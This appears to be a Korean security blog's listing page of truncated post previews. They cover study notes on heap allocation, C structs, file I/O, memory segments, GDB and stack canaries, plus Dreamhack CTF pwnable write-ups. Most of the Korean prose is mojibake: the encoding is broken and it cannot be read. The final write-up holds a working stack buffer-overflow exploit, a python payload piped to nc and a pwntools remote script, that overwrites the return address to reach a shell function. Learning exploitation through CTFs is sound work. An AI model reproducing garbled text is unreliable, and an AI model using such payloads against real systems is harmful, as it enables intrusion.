ํ์ด๋ ? ์์ฒญ์ ๋ฐ๋ผ ํ ๋น๋๋ฉฐ chunk ํํ๋ก ๋๋ ์ ์๋ ์ธ์ ํ ๋ฉ๋ชจ๋ฆฌ ์์ญ ํ์ ๋ฉ๋ชจ๋ฆฌ๋ฅผ ํ ๋นํ ๋๋ malloc() ํจ์๋ฅผ ์ฌ์ฉํด์ผ ํจ malloc ํจ์์๋ ํฌ๊ธฐ๋ฅผ ์ ํ๋ ์ธ์๊ฐ ํ์ํ๊ณ , ๊ทธ ํฌ๊ธฐ๋งํผ ๊ณต๊ฐ์ ํ ์ธ๊ทธ๋จผํธ์ ํ ๋นํ๋ค. (Top Chunk๋ฅผ ์ฌ์ฉํด ๋ฉ๋ชจ๋ฆฌ ํ ๋น) ๊ทธ๋ฆฌ๊ณ ๋ณด์ด๋ ํฌ์ธํฐ๋ก ํ ๋นํ ๋ฉ๋ชจ๋ฆฌ์ ์์์ฃผ์๋ฅผ ๋ฆฌํดํ๋ค. mallocํจ์๊ฐ ์ด๋ค ์ด์ ๋ก ๋ฉ๋ชจ๋ฆฌ ํ ๋น์ ํ์ง ๋ชปํ๊ฒ ๋๋ฉด 0๊ฐ์ ๋ฆฌํดํ๋ค. malloc์ ๋์ํ๋ ํด์ ํจ์๋ free()์ด๋ค. free ํจ์์๋ ํฌ์ธํฐ ์ธ์๊ฐ ํ์ํ๊ณ , ๋์ค์ ๋ค์ ๊ทธ ๊ณต๊ฐ์ ์ฌ์ฉํ๋ ค๋ฉด ์ธ์ ํฌ์ธํฐ์ ๋ฉ๋ชจ๋ฆฌ ํ ๋น์ ํด์ ํ๋ค. char *char_ptr; // ํ ๋ฉ๋ชจ๋ฆฌ ํ ๋น (mem_size ๋ฐ์ดํธ ๋งํผ ํ ๋น) char_ptr = (ch..
์ฑ ์ ๋ณด๊ณ ๊ณต๋ถํ ๋ด์ฉ์ ๋๋ค X86 ํ๋ก์ธ์๋ฅผ ๊ธฐ์ค์ผ๋ก ํฉ๋๋ค. ๊ตฌ์กฐ์ฒด(structs) -> ์ฌ๋ฌ๊ฐ์ ๋ณ์๋ฅผ ๊ทธ๋ฃน์ผ๋ก ๋ฌถ์ด ํ๋์ฒ๋ผ ๋ค๋ฃจ๋ ๊ฒ์ด ๊ฐ๋ฅํ๊ฒ ํ๊ธฐ ์ํด ๊ตฌ์กฐ์ฒด๋ผ๋ ๊ฒ์ ์ฌ์ฉ -> ๊ตฌ์กฐ์ฒด๊ฐ ์ ์๋ ํ์๋ ์ฌ์ฉํ ์ ์๋ ๋ณ์ ํ์ ์ด ๋๊ณ , ๊ตฌ์กฐ์ฒด ํ์ ์ผ๋ก ๋ณ์๋ ํฌ์ธํฐ ์ ์ธ์ด ๊ฐ๋ฅํด์ง struct ๊ตฌ์กฐ์ฒด์ด๋ฆ *ํฌ์ธํฐ์ด๋ฆ = malloc(sizeof(struct ๊ตฌ์กฐ์ฒด์ด๋ฆ));๋ค์๊ณผ ๊ฐ์ ๊ตฌ์กฐ๋ก ๊ตฌ์กฐ์ฒด ํฌ์ธํฐ ์ ์ธ ๊ฐ๋ฅ ์๊ฐ ํจ์๋ฅผ ๋ค๋ฃฐ ๋ /usr/include/time.h์ ์ ์๋์ด ์๋ tm ๊ตฌ์กฐ์ฒด๋ฅผ ์ฌ์ฉํ๋ ๊ฒ๋ ๊ฐ๋ฅํ๋ค. tm ๊ตฌ์กฐ์ฒด์ ์ ์ struct tm { int tm_sec; int tm_min; int tm_hour; int tm_mday; int tm_mon; int tm_y..
์ฑ ์ ๋ณด๊ณ ๊ณต๋ถํ ๋ด์ฉ์ ๋๋ค X86 ํ๋ก์ธ์๋ฅผ ๊ธฐ์ค์ผ๋ก ํฉ๋๋ค. C์ธ์ด์์ ํ์ผ์ ์ ๊ทผํ๋ ๋ฐฉ๋ฒ์ผ๋ก๋ ํฌ๊ฒ 2๊ฐ์ง๊ฐ ์๋ค. 1. ํ์ผ ์์ ์ (File Descriptor) 2. ํ์ผ ์คํธ๋ฆผ (Filestream) - ํ์ผ ์คํธ๋ฆผ ํจ์๋ฅผ ์ฌ์ฉํ๋ ๊ฒ์ด ํ๋ก๊ทธ๋๋ฐ ํ๊ธฐ๋ ํธํ์ง๋ง ํ์ผ ์์ ์๊ฐ ์ข ๋ ์ง์ ์ ์ ( ํ์ผ์์ ์๋ ๋ก์ฐ๋ ๋ฒจ, ํ์ผ ์คํธ๋ฆผ์ ํ์ด๋ ๋ฒจ ์ ์ถ๋ ฅ์) ํ์ผ ์์ ์ - open() : ํจ์๋ฅผ ์ฝ๊ฑฐ๋ ์ธ ์ ์๊ฒ ํ์ผ์ ์ด๊ณ ํ์ผ ์์ ์๋ฅผ ๋ฆฌํดํ๋ค. ํ์ผ ์์ ์๋ ๋จ์ํ ์ ์ ๊ฐ์ด์ง๋ง ์ด๋ฆฐ ํ์ผ๋ง๋ค ๊ณ ์ ํ๋ค. ํ์ผ ์์ ์๋ ์ด๋ฆฐ ํ์ผ์ ๊ฐ๋ฆฌํค๋ ํฌ์ธํฐ์ ๊ฐ์ ์ธ์๋ก ๋ค๋ฅธ ํจ์์๊ฒ ๋๊ฒจ์ง๋ค. - close() : ํ์ผ ์์ ์๋ฅผ ์ธ์๋ก ์ฌ์ฉ - read() : ํ์ผ ์์ ์, ์ฝ๊ฑฐ๋ ์ธ ๋ฐ์ดํฐ๋ฅผ ..
์ฑ ์ ๋ณด๊ณ ๊ณต๋ถํ ๋ด์ฉ์ ๋๋ค X86 ํ๋ก์ธ์๋ฅผ ๊ธฐ์ค์ผ๋ก ํฉ๋๋ค. ๋ฉ๋ชจ๋ฆฌ ์ธ๊ทธ๋จผํธ ์ปดํ์ผ๋ ํ๋ก๊ทธ๋จ ๋ฉ๋ชจ๋ฆฌ๋ ์ฝ๋, ๋ฐ์ดํฐ, bss, ํ, ์คํ์ 5๊ฐ์ ์ธ๊ทธ๋จผํธ๋ก ๋๋๋ค. ์ฝ๋ ํ๋ก๊ทธ๋จ์ ๊ธฐ๊ณ์ด ๋ช ๋ น์ด ๋ค์ด์์ ํ๋ก๊ทธ๋จ์ด ์คํ๋๋ฉด EIP๋ ์ฝ๋ ์ธ๊ทธ๋จผํธ์ ๋งจ ์ฒ์ ์์น๋ก ์ค์ ๋๋ค. ๊ทธ๋ฆฌ๊ณ ํ๋ก์ธ์ค๋ ๋ค์ ์์ ์ ๋ฐ๋ณต ์คํํ๋ค. 1. EIP๊ฐ ๊ฐ๋ฆฌํค๊ณ ์๋ ๋ช ๋ น์ ์ฝ๋๋ค. 2. ๊ทธ ๋ช ๋ น์ ๊ธธ์ด๋ฅผ EIP์ ๋ํ๋ค. 3. 1๋จ๊ณ์์ ์ฝ์ ๋ช ๋ น์ ์ํํ๋ค. 4. 1๋จ๊ณ๋ก ๋์๊ฐ๋ค. - ์ฝ๋ ์ธ๊ทธ๋จผํธ๋ ๋ณ์๊ฐ ์๋ ์ฝ๋๋ง์ ์ ์ฅํ๊ณ ์์ผ๋ฏ๋ก ์ฐ๊ธฐ๊ฐ ๊ธ์ง๋์ด์๋ค. (์ฌ์ฉ์๊ฐ ํ๋ก๊ทธ๋จ ์ฝ๋๋ฅผ ๋ณ๊ฒฝํ์ง ๋ชปํ๊ฒ ๋ง๊ธฐ ์ํจ) ์ฝ๋ ์ธ๊ทธ๋จผํธ์ ์ฐ๋ ค๋ ์๋๊ฐ ์์ ๊ฒฝ์ฐ ์ด์์ฒด์ ๊ฐ ๊ทธ ์ฌ์ค์ ์ฌ์ฉ์์๊ฒ ์๋ฆฌ๊ณ ํ๋ก๊ทธ๋จ์ ์ข ๋ฃ๋จ..
์ฑ ์ ๋ณด๊ณ ๊ณต๋ถํ ๋ด์ฉ์ ๋๋ค X86 ํ๋ก์ธ์๋ฅผ ๊ธฐ์ค์ผ๋ก ํฉ๋๋ค. GDB ์กฐ์ฌ ๋ช ๋ น ํ์ o : 8์ง๋ฒ x : 16์ง๋ฒ u : ๋ถํธ๊ฐ ์๋ ํ์ค 10์ง๋ฒ t : 2์ง๋ฒ ๋ฉ๋ชจ๋ฆฌ ๋จ์ผ ์ ๋์ ๊ธฐ๋ณธ ํฌ๊ธฐ๋ '์๋' ๋ผ ๋ถ๋ฆฌ๋ 4 byte (32bit ํ๊ฒฝ์์) b ๋จ์ผ ๋ฐ์ดํธ h 2byte์ ํํ์๋ w 4byte์ ์๋ g 8byte์ ์์ด์ธํธ eip ๋ ์ง์คํฐ : ํ๋ก์ธ์๊ฐ ์ฝ๊ณ ์๋ ํ์ฌ ๋ช ๋ น์ ์์น๋ฅผ ๊ฐ๋ฆฌํค๋ ๋ช ๋ น ํฌ์ธํฐ ๋ ์ง์คํฐ i r eip : eip ๋ ์ง์คํฐ์ ํ์ฌ ๋ฉ๋ชจ๋ฆฌ ์ฃผ์ x/x $eip : 16์ง๋ฒ์ผ๋ก eip๊ฐ ๊ฐ๊ณ ์๋ ๊ฐ ์ถ๋ ฅ ($eip๋ ๊ทธ ์๊ฐ eip๊ฐ ๊ฐ๊ณ ์๋ ๊ฐ์ ์๋ฏธํ๋ค.) x/xw $eip : 16์ง๋ฒ์ผ๋ก 4byte๋งํผ ์ถ๋ ฅ ( ๋ฆฌํ์๋์ x ) x/i $eip : eip ์์น..
Return Address Overwrite: ๋ฐํ ์ฃผ์๋ฅผ ์ ์ฑ ํจ์์ ์ฃผ์๋ก ๋ฎ์ด์ ์ ธ ํ๋ Stack Canary: ์คํ ํ๋ ์์ ๋ฐํ ์ฃผ์ ์ ์ ๋๋คํ ์นด๋๋ฆฌ๋ฅผ ์ฃผ์ ํ์ฌ ๋ฐํ ์ฃผ์๋ฅผ ๋ฎ๊ธฐ ์ด๋ ต๊ฒ ํจ Return to Shellcode: ์นด๋๋ฆฌ๋ฅผ ์ฐํํ๊ณ , ์ ธ ์ฝ๋๋ฅผ ์ฃผ์ ํ ๋ฒํผ์ ์ฃผ์๋ก ๋ฐํ ์ฃผ์๋ฅผ ๋ฎ์ด์ ์ ธ ํ๋ ASLR: ์์ ๋ฒํผ์ ์ฃผ์๋ฅผ ์๊ธฐ ์ด๋ ต๊ฒ ํจ NX: ๊ฐ ์ธ๊ทธ๋จผํธ์ ๋ถํ์ํ ์คํ๊ถํ์ ์ ๊ฑฐํจ์ผ๋ก์จ ๊ณต๊ฒฉ์๊ฐ ์์ ๋ฒํผ์ ์ฃผ์ ํ ์ฝ๋๋ฅผ ์คํํ๊ธฐ ์ด๋ ต๊ฒํจ Return to Library -> NX๋ฅผ ์ฐํํ๋ ๊ณต๊ฒฉ๊ธฐ๋ฒ NX๋ก ์ธํด ์ฝ๋ ์์ญ ์ธ์๋ ์คํ๊ถํ์ด ์์ด์ง๊ธฐ ๋๋ฌธ์ ์คํ๊ถํ์ด ๋จ์์๋ ์ฝ๋ ์์ญ์ผ๋ก ๋ฐํ ์ฃผ์๋ฅผ ๋ฎ๋ ๊ณต๊ฒฉ ๊ธฐ๋ฒ์ ๊ณ ์ํ๋ค. ํ๋ก์ธ์ค์ ์คํ ๊ถํ์ด ์๋ ๋ฉ๋ชจ๋ฆฌ ์์ญ์..
ํ๊ฒฝ ์ธํ Ubuntu 16.04 Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000) #include #include #include #include void alarm_handler() { puts("TIME OUT"); exit(-1); } void initialize() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); signal(SIGALRM, alarm_handler); alarm(30); } void get_shell() { system("/bin/sh"); } void print_box(un..
checksec ./ํ์ผ์คํ๋ช # ํด๋น ํ์ผ์ ์ ์ฉ๋ ๋ณดํธ๊ธฐ๋ฒ๋ค์ ๋ณด์ฌ์ค๋ค. pwntools ์ค์นํ๋ฉด ์คํ ๊ฐ๋ฅ ์นด๋๋ฆฌ๊ฐ ์ ์ฉ๋์ด ์๋ ๊ฒ์ ํ์ธ #include #include int main() { char buf[0x50]; printf("Address of the buf: %p\n", buf); printf("Distance between buf and $rbp: %ld\n", (char*)__builtin_frame_address(0) - buf); //byte printf("[1] Leak the canary\n"); printf("Input: "); fflush(stdout); read(0, buf, 0x100); printf("Your input is '%s'\n", buf); puts("..
์ค๋์ ์คํ ์นด๋๋ฆฌ์ ๋ํด ๊ณต๋ถ๋ฅผ ํ ๊ฒ์ด๋ค! ์คํ์นด๋๋ฆฌ๋? - ์คํ ๋ฒํผ ์ค๋ฒํ๋ก์ฐ๋ก๋ถํฐ ๋ฐํ ์ฃผ์๋ฅผ ๋ณดํธํ๋ ๋ณดํธ๊ธฐ๋ฒ - ์คํ ์นด๋๋ฆฌ๋ ํจ์์ ํ๋กค๋ก๊ทธ์์ ์คํ ๋ฒํผ์ ๋ฐํ ์ฃผ์ ์ฌ์ด์ ์์์ ๊ฐ์ ์ฝ์ ํ๊ณ , ํจ์์ ์ํ๋ก๊ทธ์์ ํด๋น ๊ฐ์ ๋ณ์กฐ๋ฅผ ํ์ธํ๋ ๋ณดํธ ๊ธฐ๋ฒ์ด๋ค. ์นด๋๋ฆฌ ๊ฐ์ ๋ณ์กฐ๊ฐ ํ์ธ๋๋ฉด ํ๋ก์ธ์ค๋ ๊ฐ์ ๋ก ์ข ๋ฃ๋๋ค!@! fs? -> TLS(Thread Local Storage)์ ์นด๋๋ฆฌ๋ฅผ ๋น๋กฏํ์ฌ ํ๋ก์ธ์ค ์คํ์ ํ์ํ ์ฌ๋ฌ ๋ฐ์ดํฐ๊ฐ ์ ์ฅ๋๋ค๊ณ ๋ง ์ผ๋จ ์๊ณ ์์ Ex) ์๋ฅผ ๋ค์ด buf[8]์ readํ๋ ํจ์์ ๋ํด ์คํ๋ฒํผ์ค๋ฒํ๋ก์ฐ ๊ณต๊ฒฉ์ ์งํํ ๊ฒฝ์ฐ rbp-8 ์ ์ ์ฅ๋ ์นด๋๋ฆฌ์ fs:0x28 ์ ์ ์ฅ๋ ์นด๋๋ฆฌ๋ฅผ xorํด์ ์ฐ์ฐ ๊ฒฐ๊ณผ๊ฐ 0์ด๋ฉด je ์ฑ๊ณต์ผ๋ก ์ ์ ๋ฐํ! ๊ฒฐ๊ณผ๊ฐ ๋ค๋ฅธ ๊ฒฝ..
ํผ๊ณคํ๋ฐ ์ด์ฌํ ๋์์ผ๋๊น ์์ฌ์ ์ผ๋จ ํ๋ฌธ์ ํ๊ณ ์๋ ค๊ตฌ,,, Ubuntu 16.04 Arch: i386-32-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) ํ๊ฒฝ์ ๋ค์๊ณผ ๊ฐ๋ค. #include #include #include #include void alarm_handler() { puts("TIME OUT"); exit(-1); } void initialize() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); signal(SIGALRM, alarm_handler); alarm(30); } void read_flag() ..
pwnable ์ด๋ณด์ธ ๋์๊ฒ๋ ์ด๋ ค์ด ๋ฌธ์ ์๋ค.. ์๊ฒฉ ์๋ฒ ํ๊ฒฝ์ ์ด๋ฌํ๋ค Ubuntu 16.04 Arch: i386-32-little RELRO: No RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments ์ฐ์ 32bit ํ๊ฒฝ์ด๊ธฐ ๋๋ฌธ์ ์คํํ๋ ์๊ตฌ์กฐ๋ buf(n) | sfp(4) | ret(4) ์๋ฌํ๋ค. #include #include #include #include void alarm_handler() { puts("TIME OUT"); exit(-1); } void initialize() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL..
Host: host1.dreamhack.games Port: 10469/tcp 1. python ๊ณต๊ฒฉ ์ฝ๋ ์ด์ฉ (python -c "print('A'*0x30 + 'B'*0x8 + '\xaa\x06\x40\x00\x00\x00\x00\x00')";cat)| nc host1.dreamhack.games 10469 2. pwntools ์ด์ฉ from pwn import * p = remote('host1.dreamhack.games',10469) # ์๊ฒฉ ์๋ฒ ๋์์ผ๋ก ์ต์คํ๋ก์ ์ํ context.arch="amd64" # x86-64 payload = 'A' * 0x30 payload += 'B' * 0x08 payload += '\xaa\x06\x40\x00\x00\x00\x00\x00' # get_..